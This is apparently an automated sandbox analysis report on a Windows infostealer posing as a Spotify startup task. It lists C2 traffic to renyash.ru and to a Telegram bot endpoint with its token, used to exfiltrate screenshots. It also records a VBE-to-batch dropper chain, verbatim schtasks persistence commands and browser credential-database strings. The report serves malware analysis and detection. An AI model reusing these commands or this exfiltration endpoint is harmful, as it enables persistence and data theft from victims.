Source: global traffic	HTTP traffic detected: POST /sqltemp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 250345cm.renyash.ruContent-Length: 1124Expect: 100-continueConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /country HTTP/1.1Host: ipinfo.io

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: 250345cm.renyash.ru

Source: unknown

HTTP traffic detected: POST /bot8143016568:AAEvmfltzzwYHiQ7qyRFPs1EAB_RQhZk4kg/sendPhoto HTTP/1.1Content-Type: multipart/form-data; boundary="41e39329-f7ed-4a24-a87a-8d5d41ec4466"Host: api.telegram.orgContent-Length: 86650Expect: 100-continueConnection: Keep-Alive

Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://250345cm.reP
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://250345cm.reP2y
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002D7E000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://250345cm.renyash.ru
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://250345cm.renyash.ru/
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002B5E000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002E14000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002BA4000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002D7E000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://250345cm.renyash.ru/sqltemp.php
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002BA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://250345cm.renyash.ruve
Source: fontdrvhost.exe, 00000005.00000002.2218593117.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: fontdrvhost.exe, 00000005.00000002.2218593117.00000000030FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io
Source: fontdrvhost.exe, 00000005.00000002.2218593117.0000000002987000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: fontdrvhost.exe, 00000005.00000002.2218593117.0000000002DF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: fontdrvhost.exe, 00000005.00000002.2218252211.0000000000D22000.00000002.00000001.01000000.00000000.sdmp, fontdrvhost.exe, 00000005.00000002.2218593117.0000000002DF7000.00000004.00000800.00020000.00000000.sdmp, BoUXaXGR.log.5.dr, LtQnCbUd.log.24.dr	String found in binary or memory: https://api.telegram.org/bot
Source: fontdrvhost.exe, 00000005.00000002.2218593117.0000000002DF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8143016568:AAEvmfltzzwYHiQ7qyRFPs1EAB_RQhZk4kg/sendPhotoX
Source: VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: fontdrvhost.exe, 00000005.00000002.2218593117.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000005.00000002.2218593117.0000000002987000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io
Source: fontdrvhost.exe, 00000005.00000002.2218252211.0000000000D22000.00000002.00000001.01000000.00000000.sdmp, fontdrvhost.exe, 00000005.00000002.2218593117.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000005.00000002.2218593117.0000000002987000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002B5E000.00000004.00000800.00020000.00000000.sdmp, BoUXaXGR.log.5.dr, LtQnCbUd.log.24.dr	String found in binary or memory: https://ipinfo.io/country
Source: fontdrvhost.exe, 00000005.00000002.2218252211.0000000000D22000.00000002.00000001.01000000.00000000.sdmp, fontdrvhost.exe, 00000005.00000002.2218593117.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000005.00000002.2218593117.0000000002987000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002B5E000.00000004.00000800.00020000.00000000.sdmp, BoUXaXGR.log.5.dr, LtQnCbUd.log.24.dr	String found in binary or memory: https://ipinfo.io/ip
Source: 4lvmN5MENl.24.dr	String found in binary or memory: https://support.mozilla.org
Source: 4lvmN5MENl.24.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002B5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: 4lvmN5MENl.24.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 4lvmN5MENl.24.dr	String found in binary or memory: https://www.mozilla.org
Source: 4lvmN5MENl.24.dr	String found in binary or memory: https://www.mozilla.org#
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002B5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 4lvmN5MENl.24.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002B5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 4lvmN5MENl.24.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 4lvmN5MENl.24.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:49779 version: TLS 1.2

Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: 0_2_00B86FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00B86FAA

Source: C:\Drivers\fontdrvhost.exe	File created: C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe			Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Windows\IME\IMEKR\fdadf3e88d0159			Jump to behavior

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B8848E	0_2_00B8848E
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B900B7	0_2_00B900B7
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B94088	0_2_00B94088
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B840FE	0_2_00B840FE
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00BA51C9	0_2_00BA51C9
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B97153	0_2_00B97153
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B832F7	0_2_00B832F7
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B962CA	0_2_00B962CA
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B943BF	0_2_00B943BF
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B8C426	0_2_00B8C426
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B8F461	0_2_00B8F461
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00BAD440	0_2_00BAD440
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B977EF	0_2_00B977EF
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00BAD8EE	0_2_00BAD8EE
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B8286B	0_2_00B8286B
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B8E9B7	0_2_00B8E9B7
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00BB19F4	0_2_00BB19F4
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B96CDC	0_2_00B96CDC
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B93E0B	0_2_00B93E0B
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00BA4F9A	0_2_00BA4F9A
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B8EFE2	0_2_00B8EFE2
Source: C:\Drivers\fontdrvhost.exe	Code function: 5_2_00007FFD34550D48	5_2_00007FFD34550D48
Source: C:\Drivers\fontdrvhost.exe	Code function: 5_2_00007FFD34550E43	5_2_00007FFD34550E43
Source: C:\Drivers\fontdrvhost.exe	Code function: 5_2_00007FFD34940082	5_2_00007FFD34940082
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34560D48	24_2_00007FFD34560D48
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34560E43	24_2_00007FFD34560E43
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34570000	24_2_00007FFD34570000
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD3459FDF9	24_2_00007FFD3459FDF9
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD345912E5	24_2_00007FFD345912E5
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD3459F7F8	24_2_00007FFD3459F7F8
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34951E10	24_2_00007FFD34951E10
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34950085	24_2_00007FFD34950085
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34A831F0	24_2_00007FFD34A831F0
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34A89748	24_2_00007FFD34A89748
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 25_2_00007FFD34560D48	25_2_00007FFD34560D48
Source: C:\Drivers\fontdrvhost.exe	Code function: 30_2_00007FFD34570000	30_2_00007FFD34570000
Source: C:\Drivers\fontdrvhost.exe	Code function: 30_2_00007FFD34560D48	30_2_00007FFD34560D48
Source: C:\Drivers\fontdrvhost.exe	Code function: 30_2_00007FFD34560E43	30_2_00007FFD34560E43
Source: C:\Drivers\fontdrvhost.exe	Code function: 30_2_00007FFD345912E5	30_2_00007FFD345912E5
Source: C:\Drivers\fontdrvhost.exe	Code function: 30_2_00007FFD3459D455	30_2_00007FFD3459D455
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD34570D48	31_2_00007FFD34570D48
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD34570E43	31_2_00007FFD34570E43
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD34580000	31_2_00007FFD34580000
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD345A12B1	31_2_00007FFD345A12B1
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD345A12E5	31_2_00007FFD345A12E5
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD345AD455	31_2_00007FFD345AD455
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD34580000	40_2_00007FFD34580000
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD34570D48	40_2_00007FFD34570D48
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD34570E43	40_2_00007FFD34570E43
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD345A12B1	40_2_00007FFD345A12B1
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD345A12E5	40_2_00007FFD345A12E5
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD345AD455	40_2_00007FFD345AD455

Source: Joe Sandbox View	Dropped File: C:\Drivers\fontdrvhost.exe C0ECC22A4CC8EF912B7D1DE3DD48C9DC32CA053535AA71DA572AEB6F9C91D4AE
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe C0ECC22A4CC8EF912B7D1DE3DD48C9DC32CA053535AA71DA572AEB6F9C91D4AE
Source: Joe Sandbox View	Dropped File: C:\Program Files\Internet Explorer\en-US\conhost.exe C0ECC22A4CC8EF912B7D1DE3DD48C9DC32CA053535AA71DA572AEB6F9C91D4AE

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: String function: 00B9F5F0 appears 31 times
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: String function: 00B9EC50 appears 56 times
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: String function: 00B9EB78 appears 39 times

Source: eP6sjvTqJa.exe

Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs eP6sjvTqJa.exe

Source: eP6sjvTqJa.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: fontdrvhost.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: AdbXCBUViTnoVBSsOq.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: backgroundTaskHost.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: AdbXCBUViTnoVBSsOq.exe0.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: conhost.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: AdbXCBUViTnoVBSsOq.exe1.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@40/51@3/3

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: 0_2_00B86C74 GetLastError,FormatMessageW,

0_2_00B86C74

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Code function: 0_2_00B9A6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00B9A6C2

Source: C:\Drivers\fontdrvhost.exe

File created: C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Jump to behavior

Source: C:\Drivers\fontdrvhost.exe

File created: C:\Users\user\Desktop\OwXMDaSq.log

Jump to behavior

Source: C:\Drivers\fontdrvhost.exe	Mutant created: NULL
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\fontdrvhost
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:736:120:WilError_03

Source: C:\Drivers\fontdrvhost.exe

File created: C:\Users\user\AppData\Local\Temp\GxxkeYPkal

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Drivers\SE7AQJDJtAMXQraxpdEvOEZ68dJxrB3UY7MvAzdsW8.bat" "

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Command line argument: sfxname	0_2_00B9DF1E
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Command line argument: sfxstime	0_2_00B9DF1E
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Command line argument: STARTDLG	0_2_00B9DF1E

Source: eP6sjvTqJa.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: eP6sjvTqJa.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BQS1omMoER.24.dr, e7yBZipER6.24.dr, PcelLUrJfI.24.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: eP6sjvTqJa.exe	Virustotal: Detection: 59%
Source: eP6sjvTqJa.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

File read: C:\Users\user\Desktop\eP6sjvTqJa.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\eP6sjvTqJa.exe "C:\Users\user\Desktop\eP6sjvTqJa.exe"
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Drivers\SE7AQJDJtAMXQraxpdEvOEZ68dJxrB3UY7MvAzdsW8.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Drivers\fontdrvhost.exe "C:\/Drivers/fontdrvhost.exe"
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 5 /tr "'C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe'" /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "AdbXCBUViTnoVBSsOq" /sc ONLOGON /tr "'C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 11 /tr "'C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\Local Settings\History\AdbXCBUViTnoVBSsOq.exe'" /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "AdbXCBUViTnoVBSsOq" /sc ONLOGON /tr "'C:\Users\Default User\Local Settings\History\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Local Settings\History\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Users\user\backgroundTaskHost.exe'" /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Users\user\backgroundTaskHost.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 9 /tr "'C:\Users\user\backgroundTaskHost.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe'" /f
